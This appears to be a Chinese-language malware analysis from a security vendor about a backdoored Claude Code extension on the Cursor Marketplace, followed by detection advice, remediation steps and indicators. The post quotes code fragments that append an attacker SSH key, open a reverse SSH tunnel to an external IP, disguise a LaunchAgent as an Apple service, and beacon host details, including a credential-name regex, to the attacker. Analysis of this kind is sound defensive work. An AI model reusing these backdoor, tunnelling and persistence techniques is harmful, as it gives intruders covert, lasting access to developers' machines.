TL;DR
Phorion 在 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展包中发现了一个后门,该后门会在 macOS、Linux 和 Windows 上植入一个持久化的 SSH 后门。本文主要聚焦 macOS,因为在该平台上,该扩展会尝试配置 SSH 后门并建立持久化。
各组织应立即检查其环境中是否使用了 Claude Code for VSCode2.1.313并在发现使用该扩展的情况下启动事件响应。
Phorion 发现官方Claude Code for VS Code扩展在 Cursor Marketplace 上遭到入侵,被植入后门的扩展包中包含一个持久化的 Secure Shell(SSH)后门。Cursor 已从其市场中移除了相关版本,同时还从相应注册表中撤下了 NPM 和 VSCode 版本2.1.313from their relevant registries.
虽然该植入程序包含针对macOS、Linux 和 Windows的安装与持久化逻辑,但本文主要聚焦macOS,并会顺带指出其他平台上的关键差异以及若干实现缺陷。
Cursor Marketplace 为 Cursor 编辑器提供扩展。由于扩展以 IDE 及运行它的用户的权限运行,被植入后门的扩展在模块加载后即可立即访问本地文件、源代码和开发者工具。
值得注意的是,Phorion 发现恶意软件在尝试启用 SSH 时可能存在一处疏漏。其安装逻辑假定无需 root 权限即可检查当前的远程登录状态。当以标准用户身份运行时,systemsetup -getremotelogin会输出管理员权限错误并以状态码退出0instead of returningOff,而不是返回Off。由于该脚本仅在输出匹配时才尝试启用 SSH,因此它完全跳过了启用步骤。在尚未运行 SSH 的 Mac 上,这一错误会破坏入站访问路径,尽管 SSH 密钥和持久化仍会被植入。
在这篇文章中,我们将详细说明这个后门是如何工作的、为什么那个 macOS 检查会失败,以及应该在你的整个资产中查找什么。这个载荷的目标是长期交互式访问,尽管 SSH 后门漏洞将 macOS 上的影响降到最低,但该恶意软件仍是一个重大威胁,它会安装持久化机制并将主机侦察信息回传给操作者。
感染链
Cursor 市场扩展
被入侵的extension.js文件以一个注入的立即调用函数表达式(IIFE)开头,该表达式被前置到压缩后的扩展包中。包的其余部分看起来像标准扩展,包含 Claude Code 和 VS Code 字符串、正常的activate和deactivate导出,以及 UI 代码。
注入的前缀引入了标准 Node.js 模块(child_process、fs、os、path、http、以及crypto),并在 Node 加载该文件时立即执行,早于扩展正常的activate回调运行。用户无需与扩展交互,载荷就会触发。
阶段 1 - 准备 SSH 访问
首先,载荷确保~/.ssh存在,并将攻击者控制的 Ed25519 公钥追加到~/.ssh/authorized_keys,将目录权限设置为0700,将文件权限设置为0600。
该密钥使用的注释是svc-telemetry。在追加之前,脚本检查的是svc-telemetry是否已在文件中,而不是检查密钥本身。在追查此活动时,值得检查公钥指纹,而不是仅依赖注释字符串。
varsd=path.join(HOME,".ssh"),ak=path.join(sd,"authorized_keys");// ...if(cur.indexOf("svc-telemetry")< 0) {fs.appendFileSync(ak, PUB+ "\n");d.sshKey= "added"
}else{d.sshKey= "present"
}这里,cur保存了authorized_keys的现有内容,而PUB是嵌入的攻击者公钥(此处已隐去)。
密钥就位后,任何持有匹配私钥的人都可以以该用户身份进行认证,前提是 SSH 确实在运行。脚本的下一步尝试确保本地 SSH 守护进程已启用并处于监听状态:
- Linux:尝试通过
sshd或ssh启用并启动systemctl,回退到service和/etc/init.d/。 - macOS:检查远程登录,如果报告为
Off,则尝试通过sudo -n systemsetup -setremotelogin on启用它。 - Windows:尝试使用 PowerShell 安装并启动 OpenSSH Server。
这些步骤都不包含提权漏洞利用。非交互式sudo -n除非用户已经缓存或配置了免密码 sudo,否则会失败,因此从标准用户上下文启动系统服务并不总能成功。
看起来 Windows 代码路径也有自己的 bug:它通过一个辅助函数传递 PowerShell 服务设置命令(det()),该函数硬编码了/bin/sh,这在标准 Windows 安装上走不了多远。
macOS SSH 逻辑中的一个 bug?
在 macOS 上,设置流程可能在到达sudo命令之前就遇到问题。脚本在未提权的情况下运行systemsetup -getremotelogin,并将输出与/Off/i进行比对。只有当输出包含以下内容时,它才会尝试启用远程登录Off:
// ...else if(PLAT=== "darwin") { varrl=ex("systemsetup -getremotelogin 2>/dev/null",4000);d.remoteLogin=rl; if(/Off/i.test(rl)) {det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");d.remoteLoginOn= "tried"
}}注意,第二条命令(-setremotelogin on)使用了sudo -n,而第一条命令(-getremotelogin)没有。当你在 macOS 上以标准用户身份运行systemsetup -getremotelogin时,得到的却是:
你需要管理员权限才能运行此工具……正在退出!systemsetup在没有管理员权限的情况下拒绝读取该设置,将错误打印到 stdout,并以状态码0退出。恶意软件的ex()辅助函数会抓取 stdout 并将其返回:
functionex(c, t) { try{ returncp.execSync(c, {timeout:t|| 3000,stdio:["ignore","pipe","ignore"],windowsHide: true
}).toString().trim()}catch(e) { return ""
}}由于输出为"You need administrator access to run this tool... exiting!",/Off/i.test(rl)的求值结果为false。
因此,脚本跳过了if块,并且从不运行sudo -n systemsetup -setremotelogin on。它实际上把“我没有权限检查 SSH 是否关闭”当成了“SSH 已经开启”,这也解释了为什么当扩展以普通用户身份运行时,你在进程遥测中看不到启用尝试。
这个 bug 可能会破坏访问链的最后一步。如果 Mac 上尚未启用远程登录,出站隧道仍可连接到攻击者的服务器,但任何通过隧道转发回来的流量都会撞上 localhost 上关闭的 22 端口。
当然,这不能作为防御手段来依赖。如果用户已经启用了远程登录,或者之后将其打开,后门就已就绪并等待着了。
阶段 2 - 建立反向 SSH 隧道
接下来,脚本以以下身份建立到134.209.82[.]225的出站 SSH 连接:tunnel用户在 22 端口。为了向攻击者的服务器进行身份验证,它会解码另一个内嵌的私钥:一个未加密的 OpenSSH Ed25519 密钥,其注释为svc-telemetry-tun。
在调查过程中,把这两个密钥区分清楚是值得的:
- 添加到
~/.ssh/authorized_keys(svc-telemetry)的公钥让攻击者能够登录受害者的机器。 - 内嵌的私钥(
svc-telemetry-tun)让受害者的机器能够向外连接到攻击者的隧道服务器。
该脚本把这个隧道密钥写入操作系统临时目录,文件名以.stk_开头,后面跟着主机名和主目录路径的 MD5 哈希的前十个字符:
varkf=path.join(TMP, ".stk_" +crypto.createHash("md5").update(String(os.hostname())+HOME).digest("hex").slice(0,10));// ...varRF=(PLAT=== "win32")? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";该隧道使用-R *:0:localhost:22进行远程端口转发。传入0会要求攻击者的 SSH 服务器动态分配一个监听端口,并把命中该端口的任何流量通过隧道转发回受害者机器上的localhost:22:
受影响主机 -- 出站 SSH 隧道 --> 外部 SSH 服务器操作者 -- 单独连接 --> 服务器分配的端口|通过现有隧道|v受影响主机的 SSH:22|使用植入的密钥登录由于隧道以-N方式运行,它只是保持端口转发处于打开状态,而不会在远程服务器上执行命令。当操作者想要访问该机器时,他们会通过其服务器上分配的端口启动一个单独的 SSH 会话,使用 Stage 1 中植入的密钥对受害者本地的 SSH 守护进程进行身份验证。这为他们提供了完整的交互式 shell 和文件传输能力,而无需在 JavaScript 本身中实现任何自定义 C2 命令处理。
该 SSH 命令还会传入一些标志,以保持连接安静且非交互:主机密钥检查被禁用,known_hosts被忽略,BatchMode和IdentitiesOnly被启用,keepalive 设置为 30 秒(ServerAliveCountMax=3),并且ExitOnForwardFailure被打开。
如果autossh已安装,脚本会使用它;否则回退到标准的ssh。它把连接包裹在一个分离的重试循环中,每次尝试之间休眠 60 秒,在 Unix 系统上使用pgrep来避免启动重复的初始隧道。由于该循环是分离的,即使用户关闭了 IDE,隧道仍会保持运行。
Stage 3 - 保持访问可用
为了在重启后存活,脚本在初始分离隧道之外还设置了平台特定的持久化机制:
| 平台 | 产物 | 持久化机制 | 备注 |
|---|---|---|---|
| Linux | ~/.config/.smt,~/.config/.smtk | 写入一个 shell 脚本,用于重建隧道密钥并循环 SSH 连接,然后向用户的 crontab 添加一条@reboot条目。 | crontab 检查中存在一个 bug,重复运行时可能会清除用户现有的 cron 任务(详见下文)。 |
| macOS | ~/.config/.smt,~/.config/.smtk,~/Library/LaunchAgents/com.apple.sysmond.plist | 写入一个用户 LaunchAgent,运行/bin/sh ~/.config/.smt并设置RunAtLoad和KeepAlive为true,然后通过launchctl加载它。 | 以用户上下文运行,而不是作为 root LaunchDaemon。 |
| Windows | ~/.config/smt.cmd,~/.config/smtk,%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd | 尝试创建一个名为SysMon的计划任务,在启动时以SYSTEM身份运行。如果失败,则将sysmon.cmd放入用户的启动文件夹。 | 创建SYSTEM任务需要管理员权限;启动文件夹回退方案在登录时以用户身份运行。 |
在 macOS 和 Linux 上,~/.config/.smt脚本内嵌了隧道私钥,并在启动重连循环之前将其写入~/.config/.smtk。
在 macOS 上,LaunchAgent 伪装成com.apple.sysmond.plist位于~/Library/LaunchAgents/中:
<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
阶段 4 - 主机侦察
最后,脚本收集基本的主机侦察信息,并向攻击者的服务器发送一次性信标:
- 主机名、用户名、操作系统平台和架构
- 主目录、当前工作目录和全局 Git 邮箱(
git config --global user.email) - 公共 IP 地址以及每个设置阶段的状态标志(例如是否添加了 SSH 密钥以及运行了哪种持久化方法)
- 最多 40 个环境变量名称(不是值)匹配
/KEY|TOKEN|SECRET|PASS|AWS|GCP/i
环境变量检查使用Object.keys(process.env):
Object.keys(process.env).filter(function(k) { return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)}).slice(0,40)由于它只获取变量名,信标不会泄露秘密值本身。相反,它让操作者快速了解机器上存在哪些云凭证或 API 令牌,以便他们知道应优先关注哪些主机。
为了获取机器的公共 IP,脚本查询ifconfig[.]me,回退到api[.]ipify[.]org。
然后它通过明文 HTTP POST 请求将 JSON 报告发送到/beacon在134.209.82[.]225:8099和127.0.0.1:8099上:
varr=http.request({host:h,port:p,path: "/beacon",method: "POST",timeout: 3000,headers:{"content-type": "application/json"}},function(res) {res.resume()});// ...r.write(JSON.stringify(d));r.end()为什么它还会把信标的副本发送到127.0.0.1:8099从样本中看不出来;脚本本身并没有在该端口上设置本地监听器。
信标只被调度一次,使用setTimeout(在初始设置运行后 1.5 秒),并丢弃任何带有res.resume()的 HTTP 响应。这纯粹是一次签到,让操作者知道主机已就绪,而实际的访问由 SSH 隧道处理。
检测机会
从检测的角度来看,在 macOS 上使用端点安全框架(ESF)遥测时,这条链路中有几个行为很突出。
SSH 密钥和配置更改
因为恶意软件直接使用 Node 的~/.ssh/authorized_keys追加到fs.appendFileSync,仅监控 shell 命令(如echo或tee触碰authorized_keys)的进程级规则不会捕获到它。这正是文件修改遥测至关重要的地方:监控 IDE 辅助进程(Code Helper、Cursor Helper等)创建或写入~/.ssh/authorized_keys。
尽管 IDE 二进制文件本身是有效签名的,但它的扩展宿主进程没有理由在后台修改 SSH 认证文件。
虽然你也应该监控systemsetup -setremotelogin on,但不要把它作为对该活动告警的必要条件。正如我们上面看到的,macOS 上损坏的状态检查意味着该命令通常根本不会运行。
用户 LaunchAgent 持久化
macOS 上的持久化设置给了我们几个强烈的信号:
- 一个非 Apple 进程写入带有
com.apple.*标签的 plist(~/Library/LaunchAgents/com.apple.sysmond.plist)。 - 一个 LaunchAgent 被配置为对用户主目录中的隐藏脚本执行
/bin/sh(~/.config/.smt)。
因为初始隧道是作为分离进程启动的,并且launchd稍后直接管理.smt,所以在实时进程树中,后续的ssh进程不会以 IDE 作为其直接父进程。将.smt和com.apple.sysmond.plist的文件创建关联回 IDE 扩展宿主,可以更容易地把这条链拼凑起来。
SSH 隧道和后续访问
在进程和网络方面,寻找:
ssh或autossh使用远程端口转发(-R *:0:localhost:22)启动,并且身份文件来自/tmp/.stk_*或~/.config/.smtk。- 到
134.209.82[.]225的 22 端口出站 SSH 连接,以及对134.209.82[.]225:8099的 HTTP POST 请求(以及对127.0.0.1:8099的连接尝试)。
如果你发现某台主机运行过这个扩展,重要的是检查隧道是仅仅被建立,还是有操作者实际通过它登录了。由于入站会话是通过本地端口转发到达的,SSH 日志中成功的登录会显示来自localhost(127.0.0.1或::1)使用svc-telemetry密钥进行认证。
修复措施
如果你确认了受影响的机器,仅卸载扩展并不能移除后门。请确保你的响应覆盖它投放的所有阶段:
- 终止活跃的隧道进程:终止
/bin/sh重试循环以及任何ssh或autossh连接到134.209.82[.]225的进程。 - 移除持久化:在 macOS 上卸载并删除
~/Library/LaunchAgents/com.apple.sysmond.plist(或清理 Linux 上的@rebootcron 条目 /SysMonWindows 上的计划任务和启动脚本),并移除~/.config/.smt和~/.config/.smtk。 - 清理 SSH 密钥和状态:从
svc-telemetry中移除~/.ssh/authorized_keys公钥,删除/tmp/.stk_*,并确认远程登录(SSH)没有被意外启用。 - 轮换凭据:如果主机上启用了 SSH,或者有任何入站登录的证据,请轮换该用户账户可访问的所有凭据或令牌(尤其是匹配
KEY|TOKEN|SECRET|PASS|AWS|GCP环境变量过滤条件的那些)。
Phorion 的方法
Phorion 的开箱即用检测覆盖通过多条规则标记了此次攻击中使用的 macOS 持久化,包括非 Apple 进程创建com.apple.*LaunchAgents,以及 LaunchAgents 从隐藏目录执行 shell 脚本。
除持久化之外,Phorion 的文件访问遥测还能捕获 IDE 扩展宿主直接修改~/.ssh/authorized_keys,以及Phorion 防护可用于锁定~/.ssh/,使得只有授权进程才能读取或修改 SSH 密钥和配置文件。
如果你想了解 Phorion 如何在你的 Mac 设备群中检测和阻止此类供应链威胁,联系我们安排演示。
指标
样本和公钥指纹
| 指标 | 值 | 备注 |
|---|---|---|
| SHA-256 | ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 | 被植入后门的extension.js包 |
| 受害者登录公钥指纹 | SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk | 追加到~/.ssh/authorized_keys的 Ed25519 密钥(注释svc-telemetry) |
| 隧道公钥指纹 | SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ | 用于向隧道服务器认证的内嵌 Ed25519 密钥(注释svc-telemetry-tun) |
网络指标
| 指标 | 类型 | 备注 |
|---|---|---|
134.209.82[.]225(TCP22,用户tunnel) | IP / SSH | 出站反向 SSH 隧道服务器 |
134.209.82[.]225:8099(POST /beacon) | IP / HTTP | 外部主机上报信标端点 |
127.0.0.1:8099(POST /beacon) | 回环 / HTTP | 本地信标目标 |
ifconfig[.]me,api[.]ipify[.]org | 域名 | 为发现公网 IP 而查询的合法服务 |
主机痕迹
| 痕迹 | 平台 | 备注 |
|---|---|---|
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64 | macOS(Apple Silicon) | 已安装扩展目录(<ide>因编辑器而异) |
~/.ssh/authorized_keys(注释svc-telemetry) | 全部 | 植入的 Ed25519 公钥 |
<TMP>/.stk_<10 hex chars>($TMPDIR/.stk_*在 macOS 上) | 全部 | 操作系统临时目录中的初始隧道私钥(后缀为以下内容的前 10 个十六进制字符:MD5(hostname + HOME)) |
~/.config/.smt以及~/.config/.smtk | macOS、Linux | 持久化 shell 脚本和重建的隧道私钥 |
~/Library/LaunchAgents/com.apple.sysmond.plist | macOS | 执行以下内容的用户 LaunchAgent:/bin/sh ~/.config/.smt |
@reboot以下内容的 cron 条目:~/.config/.smt | Linux | 用户 crontab 持久化 |
~/.config/smt.cmd以及~/.config/smtk | Windows | 持久化批处理脚本和隧道私钥 |
计划任务SysMon | Windows | 启动计划任务(请求SYSTEM) |
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd | Windows | 启动文件夹回退脚本 |